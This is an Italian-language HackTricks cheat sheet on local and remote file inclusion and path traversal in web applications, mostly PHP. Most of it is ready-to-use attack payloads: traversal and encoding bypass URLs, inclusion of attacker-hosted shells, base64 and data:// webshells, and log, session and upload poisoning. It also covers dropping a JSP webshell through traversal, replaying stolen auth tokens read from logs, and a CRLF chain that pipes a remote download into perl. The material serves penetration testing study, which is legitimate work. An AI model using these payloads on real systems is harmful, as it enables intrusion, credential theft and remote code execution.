File Inclusion/Path traversal
Reading time: 30 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
File Inclusion
Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In PHP questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.
La vulnerabilità si verifica quando l'utente può in qualche modo controllare il file che verrà caricato dal server.
Funzioni PHP vulnerabili: require, require_once, include, include_once
Uno strumento interessante per sfruttare questa vulnerabilità: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Mescolando diverse liste *nix LFI e aggiungendo altri percorsi ho creato questa:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Prova anche a cambiare /
con \
Prova anche ad aggiungere ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Windows
Unione di diverse wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Prova anche a cambiare /
con \
Prova anche a rimuovere C:/
e aggiungere ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
OS X
Controlla la lista LFI di linux.
LFI di base e bypass
Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences rimosse non ricorsivamente
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Risolto a partire da PHP 5.4
Codifica
Puoi usare codifiche non standard come double URL encode (e altre):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Dalla cartella esistente
Forse il back-end sta controllando il percorso della cartella:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Esplorare le directory del file system su un server
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando determinate tecniche. Questo processo comporta la determinazione della profondità della directory e la verifica dell'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per ottenerlo:
- Determinare la profondità della directory: Accerta la profondità della directory corrente recuperando con successo il file
/etc/passwd
(applicabile se il server è Linux-based). Un URL di esempio potrebbe essere strutturato come segue, indicando una profondità di tre:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Esplora le cartelle: Aggiungi il nome della cartella sospetta (ad esempio
private
) all'URL, poi torna a/etc/passwd
. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpreta i risultati: La risposta del server indica se la cartella esiste:
- Errore / Nessun output: La cartella
private
probabilmente non esiste nella posizione specificata. - Contenuto di
/etc/passwd
: La presenza della cartellaprivate
è confermata.
- Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file utilizzando la stessa tecnica o i metodi tradizionali di Local File Inclusion (LFI).
Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Per esempio, per verificare se /var/www/
contiene una directory private
(supponendo che la directory corrente sia a una profondità di 3), usa:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation è un metodo usato per manipolare i percorsi dei file nelle applicazioni web. Spesso viene utilizzato per accedere a file riservati bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è costruire un percorso file che, una volta modificato dalla misura di sicurezza, punti comunque al file desiderato.
In PHP, varie rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Ad esempio:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
are all treated as the same path.- When the last 6 characters are
passwd
, appending a/
(making itpasswd/
) doesn't change the targeted file. - Similarly, if
.php
is appended to a file path (likeshellcode.php
), adding a/.
at the end will not alter the file being accessed.
Gli esempi forniti mostrano come utilizzare path truncation per accedere a /etc/passwd
, un bersaglio comune a causa del suo contenuto sensibile (informazioni sugli account utente):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In questi scenari, il numero di traversals necessari potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.
- Using Dot Segments and Additional Characters: Traversal sequences (
../
) combinati con segmenti di punto aggiuntivi e altri caratteri possono essere usati per navigare il file system, ignorando efficacemente le stringhe aggiunte dal server. - Determining the Required Number of Traversals: Attraverso prova ed errore, si può trovare il numero preciso di
../
necessari per arrivare alla root directory e poi a/etc/passwd
, assicurandosi che eventuali stringhe aggiunte (come.php
) vengano neutralizzate ma il percorso desiderato (/etc/passwd
) resti intatto. - Starting with a Fake Directory: È pratica comune iniziare il percorso con una directory non esistente (come
a/
). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.
Quando si impiegano path truncation techniques, è cruciale comprendere il comportamento di parsing dei percorsi del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
Questa vulnerabilità è stata corretta in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php questa impostazione è disabilitata di default perché allow_url_include
è Off. Deve essere On perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se per qualche motivo allow_url_include
è On, ma PHP sta filtrando l'accesso a pagine web esterne, secondo questo post, potresti usare ad esempio il data protocol con base64 per decodificare un b64 PHP code e ottenere RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Nel codice precedente, il +.txt
finale è stato aggiunto perché l'attacker aveva bisogno di una string che terminasse con .txt
, quindi la string termina con esso e dopo il b64 decode quella parte restituirà solo junk e il vero codice PHP verrà incluso (e quindi eseguito).
Un altro esempio che non usa il protocollo php://
sarebbe:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Elemento root in Python
In Python, in un codice come il seguente:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se l'utente fornisce un percorso assoluto a file_name
, il percorso precedente viene semplicemente rimosso:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
È il comportamento previsto secondo the docs:
Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua a partire dal componente con il percorso assoluto.
Elenco directory in Java
Sembra che se hai un Path Traversal in Java e richiedi una directory invece di un file, viene restituito un elenco della directory. Questo non accade in altri linguaggi (afaik).
Top 25 parametri
Ecco la lista dei top 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) vulnerabilities (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filters permettono di eseguire operazioni di modifica sui dati prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Rimuove i tag dai dati (tutto ciò che è compreso tra i caratteri "<" e ">")- Nota che questo filtro è scomparso nelle versioni moderne di PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Trasforma in una diversa codifica (convert.iconv.<input_enc>.<output_enc>
). Per ottenere la lista di tutte le codifiche supportate esegui in console:iconv -l
warning
Abusando del filtro di conversione convert.iconv.*
puoi generare testo arbitrario, cosa che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni consulta LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Comprime il contenuto (utile se si esfiltrano molte informazioni)zlib.inflate
: Decomprime i dati- Encryption Filters
mcrypt.*
: Deprecatedmdecrypt.*
: Deprecated- Altri filtri
- Eseguendo in php
var_dump(stream_get_filters());
puoi trovare un paio di filtri inaspettati: consumed
dechunk
: inverte l'HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
La parte "php://filter" non fa distinzione tra maiuscole e minuscole
Uso di php filters come oracle per leggere file arbitrari
In this post è proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una boolean exfiltration of the file (char by char) using php filters as oracle. Questo perché php filters possono essere usati per rendere un testo sufficientemente grande da far sì che php generi un'eccezione.
Nel post originale trovi una spiegazione dettagliata della tecnica, ma qui c'è un riepilogo rapido:
- Usa il codec
UCS-4LE
per lasciare il carattere iniziale del testo all'inizio e far aumentare la dimensione della stringa esponenzialmente. - Questo sarà usato per generare un testo talmente grande quando la lettera iniziale è indovinata correttamente che php scatenerà un errore.
- Il filtro dechunk rimuoverà tutto se il primo carattere non è un’esadecimale (hex), quindi possiamo sapere se il primo carattere è hex.
- Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando applichiamo sufficienti trasformazioni da farla diventare non più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà sì che php generi un errore.
- Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una
a
per esempio perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non la cancella e l'errore php viene attivato perché si moltiplica con la bomba iniziale. - Utilizzando altre trasformazioni come rot13 all'inizio è possibile leakare altri chars come n, o, p, q, r (e altri codecs possono essere usati per spostare altre lettere nell'intervallo hex).
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
- Il problema finale è capire come leakare più della lettera iniziale. Usando order memory filters come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare l'ordine dei caratteri e portare in prima posizione altre lettere del testo.
- E per poter ottenere ulteriori dati l'idea è di generare 2 byte di junk data all'inizio con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farli pivotare con i successivi 2 byte, e delete the data until the junk data (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare.
Nel post è stato anche leakato uno strumento per eseguire questo automaticamente: php_filters_chain_oracle_exploit.
php://fd
Questo wrapper permette di accedere ai file descriptor che il processo ha aperto. Potenzialmente utile per exfiltrate il contenuto dei file aperti:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Puoi anche usare php://stdin, php://stdout and php://stderr per accedere rispettivamente ai descrittori di file 0, 1 e 2 (non sono sicuro di quanto questo possa essere utile in un attacco)
zip:// and rar://
Carica un file Zip o Rar con una PHPShell al suo interno e accedi.
Per poter abusare del protocollo rar, esso deve essere specificamente attivato.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Nota che questo protocollo è limitato dalle configurazioni di php allow_url_open
e allow_url_include
expect://
Expect deve essere attivato. Puoi eseguire codice usando questo:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Specifica il tuo payload nei parametri POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un file .phar
può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come include
per il caricamento di file. Lo snippet di codice PHP mostrato di seguito dimostra la creazione di un file .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Per compilare il file .phar
, eseguire il seguente comando:
php --define phar.readonly=0 create_path.php
All'esecuzione verrà creato un file chiamato test.phar
, che potrebbe essere utilizzato per sfruttare vulnerabilità di Local File Inclusion (LFI).
Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al loro interno, tramite funzioni come file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, o filesize()
, è possibile tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è legata alla lettura di file usando il protocollo phar
.
Per una comprensione dettagliata di come sfruttare vulnerabilità di deserializzazione nel contesto dei file .phar
, fare riferimento al documento collegato di seguito:
Phar Deserialization Exploitation Guide
CVE-2024-2961
È stato possibile abusare di any arbitrary file read from PHP that supports php filters per ottenere una RCE. La descrizione dettagliata può essere found in this post.
Breve riassunto: un 3 byte overflow nell'heap di PHP è stato abusato per alterare la catena dei free chunks di una specifica dimensione al fine di poter scrivere qualsiasi cosa in qualsiasi indirizzo, quindi è stato aggiunto un hook per chiamare system
.
È stato possibile allocare chunk di dimensioni specifiche abusando di altri php filters.
More protocols
Controlla altri possibili protocols to include here:
- php://memory and php://temp — Scrive in memoria o in un file temporaneo (non è chiaro come questo possa essere utile in un file inclusion attack)
- file:// — Accesso al filesystem locale
- http:// — Accesso a URL HTTP(s)
- ftp:// — Accesso a URL FTP(s)
- zlib:// — Stream di compressione
- glob:// — Trova pathnames che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
- ssh2:// — Secure Shell 2
- ogg:// — Stream audio (Non utile per leggere file arbitrari)
LFI via PHP's 'assert'
I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si lavora con la funzione 'assert', che può eseguire codice presente nelle stringhe. Questo è particolarmente problematico se l'input contenente caratteri di directory traversal come ".." viene controllato ma non correttamente sanitizzato.
Ad esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal in questo modo:
assert("strpos('$file', '..') === false") or die("");
Sebbene questo miri a impedire il traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attacker potrebbe usare:
' and die(highlight_file('/etc/passwd')) or '
Analogamente, per eseguire comandi di sistema arbitrari, si potrebbe usare:
' and die(system("id")) or '
È importante URL-encode these payloads.
PHP Blind Path Traversal
warning
Questa tecnica è rilevante nei casi in cui tu controlli il file path di una PHP function che accederà a un file ma non vedrai il contenuto del file (come una semplice chiamata a file()
) perché il contenuto non viene mostrato.
In this incredible post viene spiegato come un blind path traversal possa essere abusato via PHP filter per exfiltrate the content of a file via an error oracle.
In sintesi, la tecnica usa la codifica "UCS-4LE" per rendere il contenuto di un file così big che la funzione PHP che apre il file causerà un error.
Poi, per leak del primo char si usa il filtro dechunk
insieme ad altri come base64 o rot13 e infine i filtri convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono usati per posizionare altri char all'inizio e leak them.
Funzioni che potrebbero essere vulnerabili: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Per i dettagli tecnici verifica il post citato!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Quando il codice server-side che ingerisce/upload di file costruisce il percorso di destinazione usando dati controllati dall'utente (es., un filename o URL) senza canonicalising e validare, i segmenti ..
e i percorsi assoluti possono uscire dalla directory prevista e causare un arbitrary file write. Se puoi posizionare il payload in una directory esposta al web, di solito ottieni una RCE non autenticata lasciando una webshell.
Flusso tipico di exploitation:
- Individua un write primitive in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
- Determina le directory esposte al web. Esempi comuni:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Crea un traversal path che esca dalla directory di storage prevista verso il webroot e includi il contenuto della tua webshell.
- Accedi al payload caricato e esegui comandi.
Note:
- Il servizio vulnerabile che esegue la scrittura può essere in ascolto su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il main web portal (porta differente) servirà poi il tuo payload.
- Sui stack Java, queste scritture su file sono spesso implementate con semplici concatenazioni
File
/Paths
. La mancanza di canonicalisation/allow-listing è il difetto principale.
Esempio generico in stile XML/JMF (gli schemi dei prodotti variano – il DOCTYPE/body wrapper è irrilevante per il traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening che sconfigge questa classe di bug:
- Risolvi il percorso in una forma canonica e verifica che sia discendente di una directory base consentita.
- Rifiuta qualsiasi percorso che contenga
..
, root assoluti, o lettere di unità; preferisci nomi di file generati. - Esegui il writer con un account a basso privilegio e separa le directory di scrittura dalle radici servite.
Remote File Inclusion
Explained previously, follow this link.
Via Apache/Nginx log file
Se il server Apache o Nginx è vulnerabile a LFI all'interno della funzione include puoi provare ad accedere a /var/log/apache2/access.log
or /var/log/nginx/access.log
, impostare nel user agent o in un GET parameter una php shell come <?php system($_GET['c']); ?>
e includere quel file
warning
Nota che se usi le virgolette doppie per la shell invece delle virgolette semplici, le virgolette doppie saranno modificate per la stringa "quote;", PHP genererà un errore lì e nulla verrà eseguito.
Inoltre, assicurati di scrivere correttamente il payload oppure PHP darà errore ogni volta che tenterà di caricare il file di log e non avrai una seconda opportunità.
Questo può essere fatto anche in altri log ma fai attenzione, il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header authorisation "basic" contiene "user:password" in Base64 ed è decodificato all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questo header.
Altri possibili percorsi di log:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Leggere i log di accesso per raccogliere GET-based auth tokens (token replay)
Molte app accettano per errore session/auth tokens via GET (es., AuthenticationToken, token, sid). Se hai un path traversal/LFI che ti permette di accedere ai log del web server, puoi rubare quei token dagli access log e usarne il replay per bypassare completamente l'autenticazione.
How-to:
- Usa il traversal/LFI per leggere l'access log del web server. Posizioni comuni:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Alcuni endpoint restituiscono file reads Base64-encoded. Se è così, decodifica localmente e ispeziona le righe del log.
- Usa Grep per cercare richieste GET che includono un parametro token e catturarne il valore, poi effettua il replay contro il punto d'ingresso dell'applicazione.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Decodifica il body se è Base64, poi fai replay di un token catturato:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Note:
- Tokens in URLs vengono registrati di default; non accettare mai bearer tokens via GET in sistemi di produzione.
- Se l'app supporta più nomi di token, cerca chiavi comuni come AuthenticationToken, token, sid, access_token.
- Ruota qualsiasi token che potrebbe essere leaked nei log.
Via Email
Invia una mail a un account interno (user@localhost) contenente il tuo PHP payload come <?php echo system($_REQUEST["cmd"]); ?>
e prova a includerla nella mail dell'utente con un percorso come /var/mail/<USERNAME>
o /var/spool/mail/<USERNAME>
Via /proc//fd/
- Carica molte shells (per esempio: 100)
- Includi http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (può essere brute forced anche lui)
Via /proc/self/environ
Come un file di log, invia il payload nel User-Agent; sarà riflesso all'interno del file /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se puoi uploadare un file, inietta semplicemente il shell payload al suo interno (es.: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Per mantenere il file leggibile è meglio iniettare nei metadati di immagini/doc/pdf
Tramite upload di file ZIP
Carica un file ZIP contenente una shell PHP compressa e accedi a:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Tramite PHP sessions
Verifica se il sito web utilizza PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP queste sessioni vengono memorizzate in /var/lib/php5/sess\[PHPSESSID]_ file
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Imposta il cookie su <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Usa LFI per includere il file di sessione PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se ssh è attivo, controlla quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a <HOME>/.ssh/id_rsa
Via vsftpd logs
I log del server FTP vsftpd si trovano in /var/log/vsftpd.log. Nel caso sia presente una vulnerabilità Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:
- Inietta un payload PHP nel campo username durante il processo di login.
- Dopo l'iniezione, utilizza la LFI per recuperare i log del server da /var/log/vsftpd.log.
Via php base64 filter (usando base64)
Come mostrato in this article, PHP base64 filter semplicemente ignora i caratteri Non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci un base64 che termina con ".php", esso semplicemente ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (nessun file necessario)
Questo writeup spiega che puoi usare php filters per generare contenuto arbitrario come output. Il che sostanzialmente significa che puoi generare codice php arbitrario per l'include senza bisogno di scriverlo in un file.
Via segmentation fault
Upload un file che sarà memorizzato come temporary in /tmp
, poi nella same request, scatenare un segmentation fault, e allora il temporary file won't be deleted e puoi cercarlo.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Se hai trovato una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti ottenere RCE con la seguente tecnica:
Via PHP_SESSION_UPLOAD_PROGRESS
Se hai trovato una Local File Inclusion anche se non hai una sessione e session.auto_start
è Off
. Se fornisci il PHP_SESSION_UPLOAD_PROGRESS
nei dati multipart POST, PHP abiliterà la sessione per te. Potresti abusare di questo per ottenere RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Se hai trovato una Local File Inclusion e il server gira su Windows potresti ottenere RCE:
Via pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Quanto segue sfrutta una vuln CRLF per ottenere RCE (da here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Se trovi una Local File Inclusion e un file che espone phpinfo() con file_uploads = on puoi ottenere RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Se trovi una Local File Inclusion e puoi exfiltrate the path del file temporaneo MA il server sta controllando se il file da includere presenta tag PHP, puoi provare a bypassare quel controllo con questa Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Se puoi abusare della LFI per upload temporary files e far hang l'esecuzione PHP sul server, potresti poi brute force i nomi dei file per ore per trovare il file temporaneo:
To Fatal Error
Se includi uno dei file /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Devi includere lo stesso file 2 volte per generare quell'errore).
Non so quanto sia utile ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati.
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.